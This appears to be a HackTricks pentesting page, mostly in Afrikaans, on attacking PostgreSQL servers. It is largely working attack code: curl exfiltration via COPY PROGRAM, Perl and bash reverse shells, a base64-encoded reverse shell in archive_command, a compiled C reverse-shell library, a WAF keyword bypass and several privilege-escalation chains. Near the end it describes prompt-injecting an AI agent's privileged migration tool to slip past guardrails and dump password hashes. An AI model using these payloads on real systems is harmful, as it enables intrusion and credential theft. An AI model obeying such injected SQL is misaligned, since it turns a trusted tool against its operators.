5432,5433 - Pentesting Postgresql
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
PostgreSQL word beskryf as ’n objek-relasionele databasisstelsel wat oopbron is. Hierdie stelsel gebruik nie net die SQL-taal nie, maar brei dit ook uit met bykomende funksies. Dit stel dit in staat om ’n wye reeks datatipes en operasies te hanteer, wat dit ’n veelsydige keuse vir ontwikkelaars en organisasies maak.
Standaardpoort: 5432, en as hierdie poort reeds in gebruik is, blyk dit dat PostgreSQL die volgende poort (waarskynlik 5433) sal gebruik wat nie in gebruik is nie.
PORT STATE SERVICE
5432/tcp open pgsql
Verbind & Basiese Enum
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
Warning
As jy
\listuitvoer en ’n databasis genaamdrdsadminvind, weet jy dat jy binne ’n AWS postgresql database is.
Vir meer inligting oor hoe om ’n PostgreSQL database te misbruik kyk:
Outomatiese enumerasie
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Port scanning
Volgens this research, wanneer ’n verbindingspoging misluk, gooi dblink ’n sqlclient_unable_to_establish_sqlconnection uitsondering wat ’n verduideliking van die fout insluit. Voorbeelde van hierdie besonderhede word hieronder gelys.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- Host is af
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port is gesluit
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port is oop
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
of
DETAIL: FATAL: password authentication failed for user "name"
- Poort is oop of gefiltreer
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL-funksies is dit tans nie moontlik om uitsonderingsbesonderhede te bekom nie. As jy egter direkte toegang tot die PostgreSQL-server het, kan jy die nodige inligting onttrek. As dit onhaalbaar is om gebruikersname en wagwoorde uit die sisteemtabelle te onttrek, kan jy oorweeg om die wordlist attack method wat in die vorige afdeling bespreek is te gebruik, aangesien dit moontlik positiewe resultate kan lewer.
Enumerasie van Voorregte
Rolle
| Roltipe | Beskrywing |
|---|---|
| rolsuper | Rol het superuser-voorregte |
| rolinherit | Rol erf outomaties die voorregte van rolle waarvan dit ’n lid is |
| rolcreaterole | Rol kan meer rolle skep |
| rolcreatedb | Rol kan databasisse skep |
| rolcanlogin | Rol kan aanmeld. Dit wil sê, hierdie rol kan as die aanvanklike sessie-outorisasie-identifiseerder gegee word |
| rolreplication | Rol is ’n replikasierol. ’n Replikasierol kan replikasieverbindinge inisieer en replikasieslots skep en verwyder. |
| rolconnlimit | Vir rolle wat kan aanmeld, stel dit die maksimum aantal gelyktydige verbindings wat hierdie rol kan maak. -1 beteken geen beperking nie. |
| rolpassword | Nie die wagwoord nie (lees altyd as ********) |
| rolvaliduntil | Wagwoordvervaltyd (slegs gebruik vir wagwoordverifikasie); null as daar geen vervaldatum is |
| rolbypassrls | Rol omseil alle ryvlak-sekuriteitsbeleid, sien Section 5.8 vir meer inligting. |
| rolconfig | Rolspesifieke verstekwaardes vir uitvoeringstyd-konfigurasieveranderlikes |
| oid | ID van rol |
Interessante Groepe
- As jy ’n lid is van
pg_execute_server_program, kan jy programme uitvoer - As jy ’n lid is van
pg_read_server_files, kan jy lêers lees - As jy ’n lid is van
pg_write_server_files, kan jy lêers skryf
Tip
Let wel dat in Postgres ’n user, ’n group en ’n role dieselfde is. Dit hang net af van hoe jy dit gebruik en of jy dit toelaat om aan te meld.
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
Tabelle
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
Funksies
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
Lêerstelsel-aksies
Lees gidse en lêers
Vanaf hierdie commit kan lede van die gedefinieerde DEFAULT_ROLE_READ_SERVER_FILES-groep (genoem pg_read_server_files) en supergebruikers die COPY-metode op enige pad gebruik (kyk na convert_and_check_filename in genfile.c):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
Warning
Onthou dat as jy nie ’n super user is nie maar die CREATEROLE-toestemmings het, kan jy jouself lid van daardie groep maak:
GRANT pg_read_server_files TO username;
Daar is ander postgres funksies wat gebruik kan word om ’n lêer te lees of ’n gids te lys. Slegs superusers en users with explicit permissions kan dit gebruik:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
Jy kan meer funksies vind by https://www.postgresql.org/docs/current/functions-admin.html
Eenvoudige lêerskryf
Slegs super users en lede van pg_write_server_files kan copy gebruik om lêers te skryf.
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
Warning
Onthou dat as jy nie super user is nie maar die
CREATEROLEpermissies het jy jouself lid van daardie groep kan maak:GRANT pg_write_server_files TO username;
Onthou dat COPY newline-tekens nie hanteer nie, daarom selfs as jy ’n base64 payload gebruik moet jy ’n eenreëler stuur.
’n Baie belangrike beperking van hierdie tegniek is dat copy nie gebruik kan word om binary files te skryf nie aangesien dit sommige binary waardes verander.
Binary files upload
Daar is egter ander tegnieke om groot binary files op te laai:
Big Binary Files Upload (PostgreSQL)
Updating PostgreSQL table data via local file write
As jy die nodige permissies het om PostgreSQL server-lêers te lees en te skryf, kan jy enige tabel op die bediener opdateer deur die geassosieerde file node oor te skryf in the PostgreSQL data directory. More on this technique here.
Vereiste stappe:
- Verkry die PostgreSQL datadirektorie
SELECT setting FROM pg_settings WHERE name = 'data_directory';
Nota: As jy nie die huidige data directory-pad uit settings kan kry nie, kan jy die hoof PostgreSQL-weergawe navraag via die SELECT version() query en probeer die pad brute-force. Algemene data directory-paaie op Unix-installasies van PostgreSQL is /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. ’n Algemene cluster naam is main.
- Verkry ’n relatiewe pad na die filenode wat met die teiken tabel geassosieer is
SELECT pg_relation_filepath('{TABLE_NAME}')
Hierdie query behoort iets soos base/3/1337 terug te gee. Die volle pad op skyf sal wees $DATA_DIRECTORY/base/3/1337, bv. /var/lib/postgresql/13/main/base/3/1337.
- Laai die filenode af deur die
lo_*funksies
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- Kry die datatype wat met die teiken tabel geassosieer is
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- Gebruik die PostgreSQL Filenode Editor om edit the filenode; stel alle
rol*boolean flags op 1 vir volle permissies.
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

- Herlaai die gewysigde filenode via die
lo_*funksies, en oorskryf die oorspronklike lêer op die skyf
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (Opsioneel) Maak die in-memory tabel cache skoon deur ’n duur SQL query uit te voer
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- Jy behoort nou die opgedateerde tabelwaardes in die PostgreSQL te sien.
Jy kan ook ’n superadmin word deur die pg_authid tabel te wysig. See the following section.
RCE
RCE to program
Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Voorbeeld om uit te voer:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Warning
Onthou dat as jy nie superuser is nie maar die
CREATEROLE-permitte het, kan jy jouself lid maak van daardie groep:GRANT pg_execute_server_program TO username;
Of gebruik die multi/postgres/postgres_copy_from_program_cmd_exec module van metasploit.
Meer inligting oor hierdie kwesbaarheid here. Terwyl dit as CVE-2019-9193 gerapporteer is, het Postgres verklaar dit is ’n feature and will not be fixed.
Bypass keyword filters/WAF to reach COPY PROGRAM
In SQLi-kontekste met gestapelde queries kan ’n WAF die letterlike sleutelwoord COPY verwyder of blokkeer. Jy kan die stelling dinamies konstrueer en dit binne ’n PL/pgSQL DO block uitvoer. Byvoorbeeld, bou die leidende C met CHR(67) om naïe filters te omseil en gebruik EXECUTE op die saamgestelde opdrag:
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
This pattern avoids static keyword filtering and still achieves OS command execution via COPY ... PROGRAM. It is especially useful when the application echoes SQL errors and allows stacked queries.
RCE met PostgreSQL-tale
RCE met PostgreSQL extensions
Sodra jy uit die vorige pos geleer het hoe om binaêre lêers op te laai, kan jy probeer om RCE te kry deur ’n postgresql extension op te laai en te laai.
RCE with PostgreSQL Extensions
PostgreSQL configuration file RCE
Tip
Die volgende RCE-vektore is besonders nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT-stellings uitgevoer kan word
Die konfigurasielêer van PostgreSQL is skryfbaar deur die postgres user, wat die proses is wat die databasis bestuur, so as superuser kan jy lêers in die filesystem skryf, en gevolglik kan jy hierdie lêer oorskryf.
.png)
RCE met ssl_passphrase_command
Meer inligting about this technique here.
Die konfigurasielêer het ’n paar interessante attribuutinstellings wat tot RCE kan lei:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'Pad na die private sleutel van die databasisssl_passphrase_command = ''As die private lêer deur ’n wagwoord (geënkripteer) beskerm is, sal postgresql die opdrag wat in hierdie attribuut aangedui is uitvoer.ssl_passphrase_command_supports_reload = offAs hierdie attribuut aan is, sal die opdrag wat uitgevoer word as die sleutel deur ’n wagwoord beskerm is, uitgevoer word wanneerpg_reload_conf()uitgevoer word.
Dan sal ’n aanvaller nodig hê om:
- Uittrek die private sleutel van die bediener
- Enkripteer die afgelaaide private sleutel:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
- Oorskryf
- Uittrek die huidige postgresql konfigurasie
- Oorskryf die konfigurasie met die genoemde attribuut-instellings:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'ssl_passphrase_command_supports_reload = on
- Voer
pg_reload_conf()
Terwyl ek dit toets het ek opgemerk dat dit slegs sal werk as die private sleutel-lêer regte 640 het, dit behoort aan root en aan die groep ssl-cert of postgres (sodat die postgres user dit kan lees), en dit is geplaas in /var/lib/postgresql/12/main.
RCE met archive_command
Meer information about this config and about WAL here.
Nog ’n attribuut in die konfigurasielêer wat uitgebuit kan word is archive_command.
Om dit te laat werk, moet die archive_mode instelling 'on' of 'always' wees. As dit waar is, kan ons die opdrag in archive_command oorskryf en dit dwing om uitgevoer te word via die WAL (write-ahead logging) operasies.
Die algemene stappe is:
- Kontroleer of archive mode aangeskakel is:
SELECT current_setting('archive_mode') - Oorskryf
archive_commandmet die payload. Byvoorbeeld, ’n reverse shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl' - Hernu die konfigurasie:
SELECT pg_reload_conf() - Dwing die WAL-operasie om te loop, wat die archive command sal aanroep:
SELECT pg_switch_wal()ofSELECT pg_switch_xlog()vir sommige Postgres-weergawes
Editing postgresql.conf via Large Objects (SQLi-friendly)
Wanneer meervoudige reëlskrywings nodig is (bv. om meerdere GUCs te stel), gebruik PostgreSQL Large Objects om die konfigurasie volledig vanaf SQL te lees en oor te skryf. Hierdie benadering is ideaal in SQLi-kontekste waar COPY nie newlines of binary-safe skrywings hanteer nie.
Voorbeeld (pas die hoofweergawe en pad aan indien nodig, bv. version 15 on Debian):
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');
-- 3) Prepare a minimal config snippet locally that forces execution via WAL
-- and base64-encode its contents, for example:
-- archive_mode = 'always'\n
-- archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
-- archive_timeout = 1\n
-- Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal(); -- or pg_switch_xlog() on older versions
Dit lewer betroubare OS-opdraguitvoering via archive_command as die postgres gebruiker, mits archive_mode aangeskakel is. In die praktyk kan die instelling van ’n lae archive_timeout vinnige aanroep veroorsaak sonder om ’n eksplisiete WAL switch te vereis.
RCE with preload libraries
Meer inligting oor hierdie tegniek hier: about this technique here.
Hierdie aanvalvektor maak gebruik van die volgende konfigurasie-variabeles:
session_preload_libraries– biblioteke wat deur die PostgreSQL-bediener by die kliëntverbinding gelaai sal word.dynamic_library_path– lys van gidse waar die PostgreSQL-bediener na die biblioteke sal soek.
Ons kan die dynamic_library_path waarde stel na ’n gids wat geskryf kan word deur die postgres gebruiker wat die databasis bestuur, bv. die /tmp/ gids, en ’n kwaadwillige .so-lêer daar oplaai. Daarna dwing ons die PostgreSQL-bediener om ons nuut opgelaaide biblioteek te laai deur dit in die session_preload_libraries-variabele in te sluit.
Die aanvalstappe is:
- Laai die oorspronklike
postgresql.confaf - Sluit die
/tmp/gids by diedynamic_library_pathwaarde in, bv.dynamic_library_path = '/tmp:$libdir' - Sluit die kwaadwillige biblioteeksnaam by die
session_preload_librarieswaarde in, bv.session_preload_libraries = 'payload.so' - Kontroleer die hoof PostgreSQL-weergawe via die
SELECT version()navraag - Kompileer die kwaadwillige biblioteekkode met die korrekte PostgreSQL dev-pakket. Voorbeeldkode:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
Compiling the code:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- Laai die kwaadwillige
postgresql.conf, geskep in stappe 2–3, op en skryf die oorspronklike oor - Laai die
payload.sovan stap 5 na die/tmp/gids op - Herlaai die bediener-konfigurasie deur die bediener te herbegin of die
SELECT pg_reload_conf()navraag aan te roep - By die volgende DB-verbinding sal jy die reverse shell-verbinding ontvang.
Postgres Privesc
CREATEROLE Privesc
Grant
Volgens die docs: Rolle wat die CREATEROLE voorreg het, kan lidmaatskap in enige rol toeken of intrek wat nie ’n superuser is.
Dus, as jy die CREATEROLE toestemming het, kan jy jouself toegang gee tot ander rolle (wat nie superuser is nie) wat jou die vermoë kan gee om lêers te lees & te skryf en opdragte uit te voer:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
Wysig wagwoord
Gebruikers met hierdie rol kan ook die wagwoorde van ander nie-supergebruikers verander:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
Dit is redelik algemeen om te vind dat lokale gebruikers by PostgreSQL kan aanmeld sonder om ’n wagwoord te verskaf. Daarom, sodra jy permissies het om kode uit te voer kan jy hierdie permissies misbruik om jou die SUPERUSER rol te verleen:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
Tip
Dit is gewoonlik moontlik weens die volgende reëls in die
pg_hba.conf-lêer:# "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust
ALTER TABLE privesc
In this writeup word verduidelik hoe dit moontlik was om privesc in Postgres GCP te bereik deur die ALTER TABLE-privilege wat aan die gebruiker toegeken is te misbruik.
Wanneer jy probeer om make another user owner of a table behoort jy ’n fout te kry wat dit voorkom, maar blykbaar het GCP daardie opsie aan die nie-superuser postgres user gegee:
.png)
Wanneer jy hierdie idee kombineer met die feit dat wanneer die INSERT/UPDATE/ANALYZE op ’n tabel met ’n index function uitgevoer word, die function as deel van die bevel aangeroep word met die tabel eienaar se regte. Dit is moontlik om ’n index met ’n funksie te skep en eienaarregte oor daardie tabel aan ’n super user toe te ken, en dan ANALYZE op die tabel uit te voer met die kwaadwillige funksie wat in staat sal wees om opdragte uit te voer omdat dit die voorregte van die eienaar gebruik.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Exploitation
- Begin deur ’n nuwe tabel te skep.
- Voeg ’n paar irrelevante items in die tabel in om data vir die indeksfunksie te verskaf.
- Ontwikkel ’n kwaadwillige indeksfunksie wat ’n code execution payload bevat, wat die uitvoering van ongemagtigde commands moontlik maak.
- ALTER die tabel se eienaar na “cloudsqladmin,” wat GCP se superuser-rol is wat uitsluitlik deur Cloud SQL gebruik word om die databasis te bestuur en in stand te hou.
- Voer ’n ANALYZE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-enjin om oor te skakel na die gebruikerskonteks van die tabel se eienaar, “cloudsqladmin”. Gevolglik word die kwaadwillige indeksfunksie met die permissions van “cloudsqladmin” aangeroep, en stel dit sodoende in staat om die voorheen ongemagtigde shell command uit te voer.
In PostgreSQL lyk hierdie vloei ongeveer so:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
Dan sal die shell_commands_results-tabel die uitvoer van die uitgevoerde kode bevat:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
Plaaslike Aanmelding
Sommige verkeerd gekonfigureerde postgresql-instanse kan die aanmelding van enige plaaslike gebruiker toelaat; dit is moontlik om plaaslik vanaf 127.0.0.1 aan te meld met die dblink funksie:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Warning
Let wel dat vir die vorige query om te werk die funksie
dblinkmoet bestaan. As dit nie bestaan nie, kan jy dit probeer skep metCREATE EXTENSION dblink;
As jy die wagwoord het van ’n gebruiker met meer bevoegdhede, maar die gebruiker mag nie vanaf ’n eksterne IP aanmeld nie, kan jy die volgende funksie gebruik om queries as daardie gebruiker uit te voer:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Dit is moontlik om te kontroleer of hierdie funksie bestaan met:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
Aangepaste gedefinieerde funksie met SECURITY DEFINER
In this writeup, pentesters kon privesc binne ’n postgres-instansie wat deur IBM verskaf is uitvoer, omdat hulle gevind het hierdie funksie met die SECURITY DEFINER vlag:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
Soos explained in the docs word ’n funksie met SECURITY DEFINER uitgevoer met die voorregte van die user that owns it. Daarom, as die funksie vulnerable to SQL Injection is of sekere privileged actions with params controlled by the attacker uitvoer, kan dit misbruik word om escalate privileges inside postgres.
In reël 4 van die vorige kode kan jy sien dat die funksie die SECURITY DEFINER vlag het.
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
En dan voer opdragte uit:
.png)
Wagwoord-bruteforseer met PL/pgSQL
PL/pgSQL is ’n volledig funksionele programmeertaal wat groter prosedurele beheer bied in vergelyking met SQL. Dit stel die gebruik van loops en ander control structures in staat om programlogika te verbeter. Daarbenewens kan SQL statements en triggers funksies aanroep wat met die PL/pgSQL language geskep is. Hierdie integrasie maak ’n meer omvattende en veelsydige benadering tot databasisprogrammering en automatisering moontlik.
Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se credentials te brute-force.
Privesc deur interne PostgreSQL-tabelle te oorskryf
Tip
Die volgende privesc-vektor is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT-uitsprake uitgevoer kan word
As jy PostgreSQL-serverlêers kan lees en skryf, kan jy ’n superuser word deur die PostgreSQL on-disk filenode, geassosieer met die interne pg_authid tabel, te oorskryf.
Lees meer oor hierdie tegniek hier.
Die aanvalstappe is:
- Verkry die PostgreSQL-data-gids
- Kry ’n relatiewe pad na die filenode wat geassosieer is met die
pg_authid-tabel - Laai die filenode af via die
lo_*funksies - Kry die datatype wat geassosieer is met die
pg_authid-tabel - Gebruik die PostgreSQL Filenode Editor om die filenode te wysig; stel alle
rol*boolean-vlagte op 1 vir volle permissies. - Herlaai die gewysigde filenode via die
lo_*funksies, en oorskryf die oorspronklike lêer op die skyf - (Opsioneel) Maak die in-memory tabelkas skoon deur ’n duur SQL-navraag uit te voer
- Jy behoort nou die voorregte van ’n volle superadmin te hê.
Prompt-injecting bestuurde migrasie tooling
AI-heavy SaaS frontends (bv., Lovable’s Supabase agent) openbaar dikwels LLM “tools” wat migrasies as hoog-privilegieerde service accounts uitvoer. ’n Praktiese workflow is:
- Bepaal wie eintlik migrasies toepas:
SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;
- Prompt-inject die agent in lopende attacker SQL via die privileged migration tool. Deur payloads te raam as “please verify this migration is denied” omseil dit konsekwent basiese guardrails.
- Sodra arbitrary DDL in daardie konteks uitgevoer word, skep onmiddellik attacker-owned tables of extensions wat persistentie teruggee aan jou gebruikersrekening met lae bevoegdhede.
Tip
Sien ook die algemene AI agent abuse playbook vir meer prompt-injection techniques teen tool-enabled assistants.
Uittrek van pg_authid-metadata via migrasies
Privileged migrations kan pg_catalog.pg_authid in ’n attacker-readable tabel plaas, selfs al is direkte toegang vir jou normale rol geblokkeer.
Stapel pg_authid-metadata met 'n privileged migration
```sql DROP TABLE IF EXISTS public.ai_models CASCADE; CREATE TABLE public.ai_models ( id SERIAL PRIMARY KEY, model_name TEXT, config JSONB, created_at TIMESTAMP DEFAULT NOW() ); GRANT ALL ON public.ai_models TO supabase_read_only_user; GRANT ALL ON public.ai_models TO supabase_admin; INSERT INTO public.ai_models (model_name, config) SELECT rolname, jsonb_build_object( 'password_hash', rolpassword, 'is_superuser', rolsuper, 'can_login', rolcanlogin, 'valid_until', rolvaliduntil ) FROM pg_catalog.pg_authid; ```Gebruikers met lae voorregte kan nou public.ai_models lees om SCRAM-hashe en rol-metagegewens te verkry vir offline-kraking of laterale beweging.
Event-trigger privesc tydens die installering van die postgres_fdw extension
